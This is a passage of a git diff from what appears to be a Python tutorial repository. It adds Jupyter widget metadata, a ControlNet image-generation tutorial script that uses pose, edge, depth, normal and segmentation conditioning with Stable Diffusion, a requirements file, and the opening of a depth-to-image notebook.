+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f92c9532d4644693831a67344d499ff5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c389029d6e9445febf2f623921140abe",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9eda2eb5008b4f2d8269523ee5ce2ffe",
+            "value": "Downloading (…)rocessor_config.json: 100%"
+          }
+        },
+        "f9f461994c7e41aba3124dd5ee0b1525": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fa4ce3277cce4064aaf40849870966c1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3b2265f2c01844fb9c99e18c61344d69",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e060cf453034447dba6af95a918e3092",
+            "value": " 547/547 [00:00&lt;00:00, 7.59kB/s]"
+          }
+        },
+        "fd3e1648c2b84f5f81cd7ee3d2fbc4c0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fd444832eb3b4399946317b54b495d52": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "febabb96db10490f835e4c5f6512ea61": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_834aa09c8e984c819849676acdf25dae",
+            "placeholder": "​",
+            "style": "IPY_MODEL_6224c6c1d4b145ed86564e7d62fbe4c2",
+            "value": "Downloading (…)ain/model_index.json: 100%"
+          }
+        },
+        "ff1597bd843b4770b93ffa71f0b05da4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ff464c023f0546209b15c44a39b4b75e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ff535db7c20f4719820b0b483a3a41ff": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ffd1b0965ac748a3857a947c94e192dc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/control-image-generation-with-controlnet/README.md b/machine-learning/control-image-generation-with-controlnet/README.md
new file mode 100644
index 00000000..d7e237d6
--- /dev/null
+++ b/machine-learning/control-image-generation-with-controlnet/README.md
@@ -0,0 +1 @@
+# [How to Control the Generated Images by diffusion models via ControlNet in Python](https://www.thepythoncode.com/article/control-generated-images-with-controlnet-with-huggingface)
\ No newline at end of file
diff --git a/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py b/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py
new file mode 100644
index 00000000..55397665
--- /dev/null
+++ b/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py
@@ -0,0 +1,689 @@
+# %%
+!pip install -qU xformers diffusers transformers accelerate
+
+# %%
+!pip install -qU  controlnet_aux
+!pip install opencv-contrib-python
+
+# %% [markdown]
+# # Open Pose
+
+# %%
+from PIL import Image
+from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler
+import torch
+from controlnet_aux import OpenposeDetector
+from diffusers.utils import load_image
+from tqdm import tqdm
+from torch import autocast
+
+# %%
+# load the openpose model
+openpose = OpenposeDetector.from_pretrained('lllyasviel/ControlNet')
+
+# load the controlnet for openpose
+controlnet = ControlNetModel.from_pretrained(
+    "lllyasviel/sd-controlnet-openpose", torch_dtype=torch.float16
+)
+
+# define stable diffusion pipeline with controlnet
+pipe = StableDiffusionControlNetPipeline.from_pretrained(
+    "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16
+)
+pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)
+
+# %%
+# Remove if you do not have xformers installed
+# see https://huggingface.co/docs/diffusers/v0.13.0/en/optimization/xformers#installing-xformers
+# for installation instructions
+pipe.enable_xformers_memory_efficient_attention()
+pipe.enable_model_cpu_offload()
+
+# %%
+image_input = load_image("https://cdn.pixabay.com/photo/2016/05/17/22/19/fashion-1399344_640.jpg")
+image_input
+
+# %%
+image_pose = openpose(image_input)
+image_pose
+
+# %%
+image_output = pipe("A professional photograph of a male fashion model", image_pose, num_inference_steps=20).images[0]
+image_output
+
+# %% [markdown]
+# # Custom implementation
+
+# %%
+class ControlNetDiffusionPipelineCustom:
+    """custom implementation of the ControlNet Diffusion Pipeline"""
+
+    def __init__(self,
+                 vae,
+                 tokenizer,
+                 text_encoder,
+                 unet,
+                 controlnet,
+                 scheduler,
+                 image_processor,
+                 control_image_processor):
+
+        self.vae = vae
+        self.tokenizer = tokenizer
+        self.text_encoder = text_encoder
+        self.unet = unet
+        self.scheduler = scheduler
+        self.controlnet = controlnet
+        self.image_processor = image_processor
+        self.control_image_processor = control_image_processor
+        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+
+
+
+    def get_text_embeds(self, text):
+        """returns embeddings for the given `text`"""
+
+        # tokenize the text
+        text_input = self.tokenizer(text,
+                                    padding='max_length',
+                                    max_length=tokenizer.model_max_length,
+                                    truncation=True,
+                                    return_tensors='pt')
+        # embed the text
+        with torch.no_grad():
+            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]
+        return text_embeds
+
+
+
+    def get_prompt_embeds(self, prompt):
+        """returns prompt embeddings based on classifier free guidance"""
+
+        if isinstance(prompt, str):
+            prompt = [prompt]
+        # get conditional prompt embeddings
+        cond_embeds = self.get_text_embeds(prompt)
+        # get unconditional prompt embeddings
+        uncond_embeds = self.get_text_embeds([''] * len(prompt))
+        # concatenate the above 2 embeds
+        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])
+        return prompt_embeds
+
+
+    def transform_image(self, image):
+        """convert image from pytorch tensor to PIL format"""
+
+        image = self.image_processor.postprocess(image, output_type='pil')
+        return image
+
+
+
+    def get_initial_latents(self, height, width, num_channels_latents, batch_size):
+        """returns noise latent tensor of relevant shape scaled by the scheduler"""
+
+        image_latents = torch.randn((batch_size,
+                                   num_channels_latents,
+                                   height // 8,
+                                   width // 8)).to(self.device)
+        # scale the initial noise by the standard deviation required by the scheduler
+        image_latents = image_latents * self.scheduler.init_noise_sigma
+        return image_latents
+
+
+
+    def denoise_latents(self,
+                        prompt_embeds,
+                        controlnet_image,
+                        timesteps,
+                        latents,
+                        guidance_scale=7.5):
+        """denoises latents from noisy latent to a meaningful latent as conditioned by controlnet"""
+
+        # use autocast for automatic mixed precision (AMP) inference
+        with autocast('cuda'):
+            for i, t in tqdm(enumerate(timesteps)):
+                # duplicate image latents to do classifier free guidance
+                latent_model_input = torch.cat([latents] * 2)
+                latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)
+
+                control_model_input = latents
+                controlnet_prompt_embeds = prompt_embeds
+
+                # get output from the control net blocks
+                down_block_res_samples, mid_block_res_sample = self.controlnet(
+                    control_model_input,
+                    t,
+                    encoder_hidden_states=controlnet_prompt_embeds,
+                    controlnet_cond=controlnet_image,
+                    conditioning_scale=1.0,
+                    return_dict=False,
+                )
+
+                # predict noise residuals
+                with torch.no_grad():
+                    noise_pred = self.unet(
+                        latent_model_input,
+                        t,
+                        encoder_hidden_states=prompt_embeds,
+                        down_block_additional_residuals=down_block_res_samples,
+                        mid_block_additional_residual=mid_block_res_sample,
+                    )['sample']
+
+                # separate predictions for unconditional and conditional outputs
+                noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)
+
+                # perform guidance
+                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)
+
+                # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+                latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']
+
+        return latents
+
+
+
+    def prepare_controlnet_image(self,
+                                 image,
+                                 height,
+                                 width):
+        """preprocesses the controlnet image"""
+
+        # process the image
+        image = self.control_image_processor.preprocess(image, height, width).to(dtype=torch.float32)
+        # send image to CUDA
+        image = image.to(self.device)
+        # repeat the image for classifier free guidance
+        image = torch.cat([image] * 2)
+        return image
+
+
+
+    def __call__(self,
+                 prompt,
+                 image,
+                 num_inference_steps=20,
+                 guidance_scale=7.5,
+                 height=512, width=512):
+        """generates new image based on the `prompt` and the `image`"""
+
+        # encode input prompt
+        prompt_embeds = self.get_prompt_embeds(prompt)
+
+        # prepare image for controlnet
+        controlnet_image = self.prepare_controlnet_image(image, height, width)
+        height, width = controlnet_image.shape[-2:]
+
+        # prepare timesteps
+        self.scheduler.set_timesteps(num_inference_steps)
+        timesteps = self.scheduler.timesteps
+
+        # prepare the initial image in the latent space (noise on which we will do reverse diffusion)
+        num_channels_latents = self.unet.config.in_channels
+        batch_size = prompt_embeds.shape[0] // 2
+        latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)
+
+        # denoise latents
+        latents = self.denoise_latents(prompt_embeds,
+                                       controlnet_image,
+                                       timesteps,
+                                       latents,
+                                       guidance_scale)
+
+        # decode latents to get the image into pixel space
+        latents = latents.to(torch.float16) # change dtype of latents since
+        image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]
+
+        # convert to PIL Image format
+        image = image.detach() # detach to remove any computed gradients
+        image = self.transform_image(image)
+
+        return image
+
+# %%
+# We can get all the components from the ControlNet Diffusion Pipeline (the one implemented by Hugging Face as well)
+vae = pipe.vae
+tokenizer = pipe.tokenizer
+text_encoder = pipe.text_encoder
+unet = pipe.unet
+controlnet = pipe.controlnet
+scheduler = pipe.scheduler
+image_processor = pipe.image_processor
+control_image_processor = pipe.control_image_processor
+
+# %%
+custom_pipe = ControlNetDiffusionPipelineCustom(vae, tokenizer, text_encoder, unet, controlnet, scheduler, image_processor, control_image_processor)
+
+# %%
+# sample image 1
+images_custom = custom_pipe("a fashion model wearing a beautiful dress", image_pose, num_inference_steps=20)
+images_custom[0]
+
+# %%
+# sample image 2
+images_custom = custom_pipe("A male fashion model posing in a museum", image_pose, num_inference_steps=20)
+images_custom[0]
+
+# %%
+# sample image with a different prompt
+images_custom = custom_pipe("A professional ice skater wearing a dark blue jacket around sunset, realistic, UHD", image_pose, num_inference_steps=20)
+images_custom[0]
+
+# %%
+
+
+# %%
+
+
+# %% [markdown]
+# # Canny
+
+# %%
+import cv2
+from PIL import Image
+from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler
+import torch
+import numpy as np
+from diffusers.utils import load_image
+
+# %%
+# load the controlnet model for canny edge detection
+controlnet = ControlNetModel.from_pretrained(
+    "lllyasviel/sd-controlnet-canny", torch_dtype=torch.float16
+)
+
+# load the stable diffusion pipeline with controlnet
+pipe = StableDiffusionControlNetPipeline.from_pretrained(
+    "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16
+)
+pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)
+
+# %%
+# enable efficient implementations using xformers for faster inference
+pipe.enable_xformers_memory_efficient_attention()
+pipe.enable_model_cpu_offload()
+
+# %%
+image_input = load_image("https://cdn.pixabay.com/photo/2023/06/03/16/05/spotted-laughingtrush-8037974_640.png")
+image_input = np.array(image_input)
+
+Image.fromarray(image_input)
+
+# %%
+# define parameters from canny edge detection
+low_threshold = 100
+high_threshold = 200
+
+# do canny edge detection
+image_canny = cv2.Canny(image_input, low_threshold, high_threshold)
+
+# convert to PIL image format
+image_canny = image_canny[:, :, None]
+image_canny = np.concatenate([image_canny, image_canny, image_canny], axis=2)
+image_canny = Image.fromarray(image_canny)
+
+image_canny
+
+# %%
+image_output = pipe("bird", image_canny, num_inference_steps=20).images[0]
+image_output
+
+# %%
+image_output = pipe("a cute blue bird with colorful aesthetic feathers", image_canny, num_inference_steps=20).images[0]
+image_output
+
+# %%
+
+
+# %% [markdown]
+# # Depth
+
+# %%
+from transformers import pipeline
+from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler
+from PIL import Image
+import numpy as np
+import torch
+from diffusers.utils import load_image
+
+# %%
+# load the depth estimator model
+depth_estimator = pipeline('depth-estimation')
+
+# load the controlnet model for depth estimation
+controlnet = ControlNetModel.from_pretrained(
+    "lllyasviel/sd-controlnet-depth", torch_dtype=torch.float16
+)
+
+# load the stable diffusion pipeline with controlnet
+pipe = StableDiffusionControlNetPipeline.from_pretrained(
+    "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16
+)
+pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)
+
+# %%
+# enable efficient implementations using xformers for faster inference
+pipe.enable_xformers_memory_efficient_attention()
+pipe.enable_model_cpu_offload()
+
+# %%
+image_input = load_image("https://huggingface.co/lllyasviel/sd-controlnet-depth/resolve/main/images/stormtrooper.png")
+image_input
+
+# %%
+# get depth estimates
+image_depth = depth_estimator(image_input)['depth']
+
+# convert to PIL image format
+image_depth = np.array(image_depth)
+image_depth = image_depth[:, :, None]
+image_depth = np.concatenate([image_depth, image_depth, image_depth], axis=2)
+image_depth = Image.fromarray(image_depth)
+
+image_depth
+
+# %%
+image_output = pipe("Darth Vader giving lecture", image_depth, num_inference_steps=20).images[0]
+image_output
+
+# %%
+image_output = pipe("A realistic, aesthetic portrait style photograph of Darth Vader giving lecture, 8k, unreal engine", image_depth, num_inference_steps=20).images[0]
+image_output
+
+# %% [markdown]
+# # Normal
+
+# %%
+from PIL import Image
+from transformers import pipeline
+import numpy as np
+import cv2
+from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler
+import torch
+from diffusers.utils import load_image
+
+# %%
+# load the Dense Prediction Transformer (DPT) model for getting normal maps
+depth_estimator = pipeline("depth-estimation", model ="Intel/dpt-hybrid-midas")
+
+# load the controlnet model for normal maps
+controlnet = ControlNetModel.from_pretrained(
+    "fusing/stable-diffusion-v1-5-controlnet-normal", torch_dtype=torch.float16
+)
+
+# load the stable diffusion pipeline with controlnet
+pipe = StableDiffusionControlNetPipeline.from_pretrained(
+    "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16
+)
+pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)
+
+# %%
+# enable efficient implementations using xformers for faster inference
+pipe.enable_xformers_memory_efficient_attention()
+pipe.enable_model_cpu_offload()
+
+# %%
+image_input = load_image("https://cdn.pixabay.com/photo/2023/06/07/13/02/butterfly-8047187_1280.jpg")
+image_input
+
+# %%
+# do all the preprocessing to get the normal image
+image = depth_estimator(image_input)['predicted_depth'][0]
+
+image = image.numpy()
+
+image_depth = image.copy()
+image_depth -= np.min(image_depth)
+image_depth /= np.max(image_depth)
+
+bg_threhold = 0.4
+
+x = cv2.Sobel(image, cv2.CV_32F, 1, 0, ksize=3)
+x[image_depth < bg_threhold] = 0
+
+y = cv2.Sobel(image, cv2.CV_32F, 0, 1, ksize=3)
+y[image_depth < bg_threhold] = 0
+
+z = np.ones_like(x) * np.pi * 2.0
+
+image = np.stack([x, y, z], axis=2)
+image /= np.sum(image ** 2.0, axis=2, keepdims=True) ** 0.5
+image = (image * 127.5 + 127.5).clip(0, 255).astype(np.uint8)
+image_normal = Image.fromarray(image)
+
+image_normal
+
+# %%
+image_output = pipe("A colorful butterfly sitting on apples", image_normal, num_inference_steps=20).images[0]
+image_output
+
+# %%
+image_output = pipe("A beautiful design", image_normal, num_inference_steps=20).images[0]
+image_output
+
+# %% [markdown]
+# # Segmentation
+
+# %%
+from transformers import AutoImageProcessor, UperNetForSemanticSegmentation
+from PIL import Image
+import numpy as np
+import torch
+from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler
+from diffusers.utils import load_image
+
+# %%
+# load the image processor and the model for doing segmentation
+image_processor = AutoImageProcessor.from_pretrained("openmmlab/upernet-convnext-small")
+image_segmentor = UperNetForSemanticSegmentation.from_pretrained("openmmlab/upernet-convnext-small")
+
+# load the controlnet model for semantic segmentation
+controlnet = ControlNetModel.from_pretrained(
+    "lllyasviel/sd-controlnet-seg", torch_dtype=torch.float16
+)
+
+# load the stable diffusion pipeline with controlnet
+pipe = StableDiffusionControlNetPipeline.from_pretrained(
+    "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16
+)
+pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)
+
+# %%
+# enable efficient implementations using xformers for faster inference
+pipe.enable_xformers_memory_efficient_attention()
+pipe.enable_model_cpu_offload()
+
+# %%
+# define color palette that is used by the semantic segmentation models
+
+palette = np.asarray([
+    [0, 0, 0],
+    [120, 120, 120],
+    [180, 120, 120],
+    [6, 230, 230],
+    [80, 50, 50],
+    [4, 200, 3],
+    [120, 120, 80],
+    [140, 140, 140],
+    [204, 5, 255],
+    [230, 230, 230],
+    [4, 250, 7],
+    [224, 5, 255],
+    [235, 255, 7],
+    [150, 5, 61],
+    [120, 120, 70],
+    [8, 255, 51],
+    [255, 6, 82],
+    [143, 255, 140],
+    [204, 255, 4],
+    [255, 51, 7],
+    [204, 70, 3],
+    [0, 102, 200],
+    [61, 230, 250],
+    [255, 6, 51],
+    [11, 102, 255],
+    [255, 7, 71],
+    [255, 9, 224],
+    [9, 7, 230],
+    [220, 220, 220],
+    [255, 9, 92],
+    [112, 9, 255],
+    [8, 255, 214],
+    [7, 255, 224],
+    [255, 184, 6],
+    [10, 255, 71],
+    [255, 41, 10],
+    [7, 255, 255],
+    [224, 255, 8],
+    [102, 8, 255],
+    [255, 61, 6],
+    [255, 194, 7],
+    [255, 122, 8],
+    [0, 255, 20],
+    [255, 8, 41],
+    [255, 5, 153],
+    [6, 51, 255],
+    [235, 12, 255],
+    [160, 150, 20],
+    [0, 163, 255],
+    [140, 140, 140],
+    [250, 10, 15],
+    [20, 255, 0],
+    [31, 255, 0],
+    [255, 31, 0],
+    [255, 224, 0],
+    [153, 255, 0],
+    [0, 0, 255],
+    [255, 71, 0],
+    [0, 235, 255],
+    [0, 173, 255],
+    [31, 0, 255],
+    [11, 200, 200],
+    [255, 82, 0],
+    [0, 255, 245],
+    [0, 61, 255],
+    [0, 255, 112],
+    [0, 255, 133],
+    [255, 0, 0],
+    [255, 163, 0],
+    [255, 102, 0],
+    [194, 255, 0],
+    [0, 143, 255],
+    [51, 255, 0],
+    [0, 82, 255],
+    [0, 255, 41],
+    [0, 255, 173],
+    [10, 0, 255],
+    [173, 255, 0],
+    [0, 255, 153],
+    [255, 92, 0],
+    [255, 0, 255],
+    [255, 0, 245],
+    [255, 0, 102],
+    [255, 173, 0],
+    [255, 0, 20],
+    [255, 184, 184],
+    [0, 31, 255],
+    [0, 255, 61],
+    [0, 71, 255],
+    [255, 0, 204],
+    [0, 255, 194],
+    [0, 255, 82],
+    [0, 10, 255],
+    [0, 112, 255],
+    [51, 0, 255],
+    [0, 194, 255],
+    [0, 122, 255],
+    [0, 255, 163],
+    [255, 153, 0],
+    [0, 255, 10],
+    [255, 112, 0],
+    [143, 255, 0],
+    [82, 0, 255],
+    [163, 255, 0],
+    [255, 235, 0],
+    [8, 184, 170],
+    [133, 0, 255],
+    [0, 255, 92],
+    [184, 0, 255],
+    [255, 0, 31],
+    [0, 184, 255],
+    [0, 214, 255],
+    [255, 0, 112],
+    [92, 255, 0],
+    [0, 224, 255],
+    [112, 224, 255],
+    [70, 184, 160],
+    [163, 0, 255],
+    [153, 0, 255],
+    [71, 255, 0],
+    [255, 0, 163],
+    [255, 204, 0],
+    [255, 0, 143],
+    [0, 255, 235],
+    [133, 255, 0],
+    [255, 0, 235],
+    [245, 0, 255],
+    [255, 0, 122],
+    [255, 245, 0],
+    [10, 190, 212],
+    [214, 255, 0],
+    [0, 204, 255],
+    [20, 0, 255],
+    [255, 255, 0],
+    [0, 153, 255],
+    [0, 41, 255],
+    [0, 255, 204],
+    [41, 0, 255],
+    [41, 255, 0],
+    [173, 0, 255],
+    [0, 245, 255],
+    [71, 0, 255],
+    [122, 0, 255],
+    [0, 255, 184],
+    [0, 92, 255],
+    [184, 255, 0],
+    [0, 133, 255],
+    [255, 214, 0],
+    [25, 194, 194],
+    [102, 255, 0],
+    [92, 0, 255],
+])
+
+# %%
+image_input = load_image("https://cdn.pixabay.com/photo/2023/02/24/07/14/crowd-7810353_1280.jpg")
+image_input
+
+# %%
+# get the pixel values
+pixel_values = image_processor(image_input, return_tensors="pt").pixel_values
+
+# do semantic segmentation
+with torch.no_grad():
+  outputs = image_segmentor(pixel_values)
+
+# post process the semantic segmentation
+seg = image_processor.post_process_semantic_segmentation(outputs, target_sizes=[image_input.size[::-1]])[0]
+
+# add colors to the different identified classes
+color_seg = np.zeros((seg.shape[0], seg.shape[1], 3), dtype=np.uint8) # height, width, 3
+for label, color in enumerate(palette):
+    color_seg[seg == label, :] = color
+
+# convert into PIL image format
+color_seg = color_seg.astype(np.uint8)
+image_seg = Image.fromarray(color_seg)
+
+image_seg
+
+# %%
+image_output = pipe("A crowd of people staring at a glorious painting", image_seg, num_inference_steps=20).images[0]
+image_output
+
+# %%
+image_output = pipe("Aliens looking at earth from inside their spaceship from a window, not creepy, not scary, not gross, octane render, smooth", image_seg, num_inference_steps=20).images[0]
+image_output
+
+# %%
+
+
+
diff --git a/machine-learning/control-image-generation-with-controlnet/requirements.txt b/machine-learning/control-image-generation-with-controlnet/requirements.txt
new file mode 100644
index 00000000..6efce1d9
--- /dev/null
+++ b/machine-learning/control-image-generation-with-controlnet/requirements.txt
@@ -0,0 +1,6 @@
+xformers
+diffusers
+transformers
+accelerate
+controlnet_aux
+opencv-contrib-python
\ No newline at end of file
diff --git a/machine-learning/depth2image-stable-diffusion/Img2imgGenerationStableDiffusion_Depth2img_PythonCodeTutorial.ipynb b/machine-learning/depth2image-stable-diffusion/Img2imgGenerationStableDiffusion_Depth2img_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..cbff7872
--- /dev/null
+++ b/machine-learning/depth2image-stable-diffusion/Img2imgGenerationStableDiffusion_Depth2img_PythonCodeTutorial.ipynb
@@ -0,0 +1,4802 @@
+{
+  "cells": [
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "VHvuI4dpcxYM"
+      },
+      "source": [
+        "# Part 1"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "OHttLFAGRCX0"
+      },
+      "source": [
+        "Note: Before running the code, make sure you upload the images you want to edit to Colab."
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "tEWYSTAiPUgA"
+      },
+      "outputs": [],
+      "source": [
+        "%pip install --quiet --upgrade diffusers transformers scipy ftfy"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "krtAPL7tKA-J"
+      },
+      "outputs": [],
+      "source": [
+        "%pip install --quiet --upgrade accelerate"
+      ]
+    },
+    {
